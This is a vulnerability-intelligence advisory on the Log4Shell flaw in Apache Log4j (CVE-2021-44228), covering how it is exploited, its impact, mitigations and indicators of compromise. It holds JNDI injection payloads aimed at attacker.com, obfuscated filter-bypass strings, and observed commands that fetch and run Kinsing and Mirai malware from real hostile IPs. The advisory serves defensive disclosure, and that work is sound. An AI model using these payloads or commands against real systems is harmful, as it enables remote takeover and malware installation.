Category	Vulnerability Intelligence
Vulnerability Class	Remote Code Execution(Unauthenticated)
CVE ID	CVE-2021-44228
CVSS:3.0 Score	10
TLP	GREEN

Executive Summary

• A critical vulnerability (CVE-2021-44228) impacting multiple versions of the logging utility, Apache Log4j 2, was disclosed on 9th December.
• This vulnerability affects the open-source logging framework Log4j, versions 2.0 to 2.14.1, used across the verticals. Apache has released the update, Log4j 2.15.0, as a fix for the same.
• The Log4Shell vulnerability, tracked as CVE-2021-4428, has the highest severity of CVSS 10, as it enables unauthenticated remote code execution and is already being exploited in the wild.

[caption id="attachment_18572" align="aligncenter" width="1720"] Threat actors are comparing the vulnerability in Apache Log4j to Eternal Blue[/caption]

What is Log4j?

Log4j 2 is a Java-based logging library written in Java, used in various open-source libraries and extensively used in major software applications such as Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, Minecraft: Java Edition, Tencent QQ, HCL, VMware, Adobe, Atlassian, etc. Logging shows the state of the system at runtime and captures data and makes it available for analysis at any given time. Popular for being an extremely fast and flexible logging framework, Log4j supports custom log levels. The levels are hierarchical and are as follows: TRACE, DEBUG, INFO, WARN, ERROR, and FATAL. Once a user sets a particular log level, messages will get logged for that level and all the levels above it and none of the log levels below that. For instance, if the log level is set to ERROR, the utility will log messages for levels ERROR and FATAL. Whereas, if the log level is set to INFO, Log4j will log messages for levels INFO, WARN, ERROR, and FATAL.

Vulnerability Analysis

The vulnerability in Log4j was caused due to a misconfiguration in JNDI (Java Naming and Directory Interface). The utility had no restrictions set for accessing LDAP (Lightweight Directory Access Protocol). The attackers could leverage this flaw to their advantage by making a GET request to any endpoint, to which the server responds with a remote Java class file. This remote Java class file when injected into the server, results in Remote Code Execution. The Java library that does the logging, interprets a string as a command, instead of just writing it to the log. For example, an attacker could use a login page, placing the attack string in the username field where they know it will be logged.

Exploitation Tactics:

Here’s a sample vulnerable code in which the attacker can use the User-Agent header to insert the payload:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);
    String response = " < h1 >Hello There, " + userAgent + "!< / h1 >
"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); } }

Threat actors have not restricted themselves to LDAP protocols. They may also use other protocols like DNS (Domain Name Service), RMI (Remote Method Invocation), LDAPS (Secure LDAP). For e.g., ${jndi:dns://attacker.server/ext} Here are other sample payloads:

${jndi:ldap://attacker.server:1389/ badClassName}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}[//attacker.server](notion://attacker.com/a)/a}

 

Modus Operandi

The attacker's server drops the following 3 ELF (Executable and Linkable Format) files that can be verified by VirusTotal to be a part of the Mirai botnet:

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00 x86
8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81 x86_64
2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984 x86_g

The following image shows the file hashes: [caption id="attachment_18574" align="aligncenter" width="1467"] The following image shows the file hashes:[/caption]  

Risk and Impact

Christmas has arrived early for cybercrooks looking to target millions of unaware victims. Threat actors are actively scanning for affected systems, exploring and discussing multiple attack vectors on popular hacker forums like Raidforums. Multiple attack campaigns are being launched each minute targeting unpatched servers. The incident is being compared to the Eternal Blue exploit leak which occurred in February 2017, which is responsible for the largest cybersecurity incident so far.     Threat actors are using the Log4j vulnerability to install cryptocurrency miners, Cobalt Strike, and create botnets. Threat actor groups and APTs are already scouring the internet for vulnerable hosts. For instance, the Log4j vulnerability was used to form Mirai and Mushtik botnets, which were however, flagged by honeypots around the world.   The vulnerability is exploited by threat actors to run code on remote servers. This has left popular games like Minecraft exposed to attacks, where the attacker can exploit it just by posting a payload in the chatbox. Other popular services like iCloud, Steam are also listed as vulnerable to this flaw. Triggering the vulnerability in an iPhone is as simple as changing the name of the iPhone. Attackers take advantage of the logged string to initiate attacks on any service that uses Log4j as a logging utility. The attacker simply has to send a malicious code string that could get logged by Log4j version 2.0-2.14.1, to exploit this vulnerability. The exploit enables arbitrary Java code on a server, allowing the attacker to take control. In the above example, the string User-Agent header was used to insert the payload, similarly attackers could consider any logged string as a command.

Business and End-user Impact

The attack vector of this Log4j is extensive, as any project that leverages the Log4j framework is vulnerable to attacks. For instance, AWS and VMware both use Log4j utility to log information and that makes any customer using these services susceptible to Remote Code Execution. A non-exhaustive search for potentially vulnerable products on Shodan, shows that there are at least 1.05 million exposed products that could be vulnerable to this flaw, which also helps us determine the scope of its attack surface. Among the list of countries, India stands at 11th position with more than 16 thousand vulnerable hosts. This could lead to a loss in business and loss of trust among stakeholders.   An attacker can potentially take over vulnerable servers by exploiting this vulnerability to install droppers and even use them to initiate ransomware attacks. Based on ongoing research by CloudSEK, the researchers have identified the rise of 79 new ransomware strains during Q2 and Q3 of this year alone, including CovidLocker, BlackMatter, Sabbath, etc. Also, USD 14 billion in ransomware payments have been reported in the year 2021.    The ease of exploitation of this particular vulnerability coupled with the enthusiasm of researchers putting out proofs of concept for working exploits and functional WAF rule bypasses for popular service providers  has resulted in working exploits landing up in the hands of malicious actors and increased attacks. Our globally deployed honeypots have logged a significant spike in the scanning for the vulnerability and attempts to exploit the same.

Remediation Measures

To address this vulnerability, potential targets could follow these steps:

1. Update to the latest version i.e. 2.15.0
2. Users can only update Log4j based on the Java version it runs on. Therefore:

    If the Java version is ≥ 8u121, it is possible to mitigate the issue by setting:

com.sun.jndi.rmi.object.trustURLCodebase to false
com.sun.jndi.cosnaming.object.trustURLCodebase to false

Using a Java version below 1.8 and log4j version ≥ 2.10 it is possible to mitigate this issue by    

• Setting the system property, or formatMsgNoLookups: true
• Setting the JVM parameter, or JAVA_OPTS = -Dlog4j2.formatMsgNoLookups=true
• Removing JndiLookup class from the classpath zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

   Please Note: It is advisable to update and patch to the latest version, as these workarounds might cause disruptions in your normal logging activity.

3.   In case, users are unable to update to the latest version, resort to the IMMA Model

• Isolate

• Minimize

• Monitor 

• Active Defense

Isolate the impacted systems to a vulnerable VLAN and deploy a Proxy Firewall with deep packet inspection to restrict the communication between the rest of the systems. Monitor for irregular patterns, look for unauthorized configuration changes and also look for port/ protocol mismatch in the infrastructure. Please Note: If you're filtering on "ldap", "jndi", or the ${lower:x} keywords, there are bypasses available, a sample payload can be: ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}[//attacker.com/a]}  

Indicators Of Compromise

The following indicators of compromise are associated with observed exploitation activity targeting CVE-2021-44228.  

USER-AGENT HTTP HEADERS

${jndi:ldap://015ed9119662[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://32fce0c1f193[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://3be6466b6a20[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://6c8d7dd40593[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://7faf976567f5[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://e86eafcf9294[.]bingsearchlib[.]com:39356/a}
${jndi:ldap://80.71.158[.]12:5557/Basic/Command/Base64/KGN1cmwgLXMgODAuNzEuMTU4LjEyL2xoLnNofHx3Z2V0IC1xIC1PLSA4MC43MS4xNTguMTIvbGguc2gpfGJhc2g=}
${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK}

 

IP Addresses

A list of malicious IP addresses detected for Apache Log4j RCE Attempts can be found here

KINSING MINING ACTIVITY

Commands:

curl -o /tmp/kinsing http://80.71.158.12/kinsing curl -o /tmp/libsystem.so http://80.71.158.12/libsystem.so curl -o /etc/kinsing http://80.71.158.12/kinsing chmod 777 /tmp/kinsing chattr -R -i /var/spool/cron chmod +x /etc/kinsing

URLs

hxxp[:]//45.137.155[.]55/ex[.]sh hxxp[:]//45.137.155[.]55/kinsing hxxp[:]//80.71.158[.]12/libsystem.so hxxp[:]//80.71.158[.]12/kinsing hxxp[:]//80.71.158[.]12/Exploit69ogQNSQYz.class  

Hashes (SHA256)

8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef 6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a  

MIRAI INFECTION ACTIVITY

Mirai retrieval script (SHA256):

3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26 (lh[.]sh)

Binary retrieval/ execution commands

wget hxxp[:]//62.210.130[.]250/web/admin/x86;chmod +x x86;./x86 x86; wget hxxp[:]//62.210.130[.]250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g; wget hxxp[:]//62.210.130[.]250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;

Mirai binary hashes (SHA256)

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00 8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81 2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984

Mirai attacker IP address

62.210.130[.]250 Additional Malware Payload Hashes (SHA256)  

0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049

19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d

2a4e636c4077b493868ea696db3be864126d1066cdc95131f522a4c9f5fb3fec

2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984

39db1c54c3cc6ae73a09dd0a9e727873c84217e8f3f00e357785fba710f98129

5c46098887e488d91f42c6d9b93b17b2736c9f4cb5a4a1e476c87c0d310a3f28

6370939d4ff51b934b7a2674ee7307ed06111ab3b896a8847d16107558f58e5b

63d43e5b292b806e857470e53412310ad7103432ba3390ecd4f74e432530a8a9

6a8965a0f897539cc06fefe65d1a4c5fa450d002d1a9d5d69d2b48f697ee5c05

715f1f821d028e165bfa750d73505f1a6136184999411300cc88c18ebfa6e8f7

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00

8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81

a3f72a73e146834b43dab8833e0a9cfee6d08843a4c23fdf425295e53517afce

b3a6fe5bc3883fd26c682bb6271a700b8a6fe006ad8df6c09cc87530fcd3a778

b55ddbaee7abf1c73570d6543dd108df0580b08f730de299579570c23b3078c0

c154d739cab62e958944bb4ac5ebad6e965a0442a3f1c1d99d56137e3efa8e40

c38f0f809a1d8c50aafc2f13185df1441345f83f6eb4ef9c48270b9bd90c6799

e20806791aeae93ec120e728f892a8850f624ce2052205ddb3f104bbbfae7f80

fe98548300025a46de1e06b94252af601a215b985dad31353596af3c1813efb0

Note: Refer to this collection of hashes  

References

• Apache Security Advisory
• VMware security Advisory
• IMMA Model for Log4j
• Additional IOC’s
• CERT-NZ Advisory on Log4Shell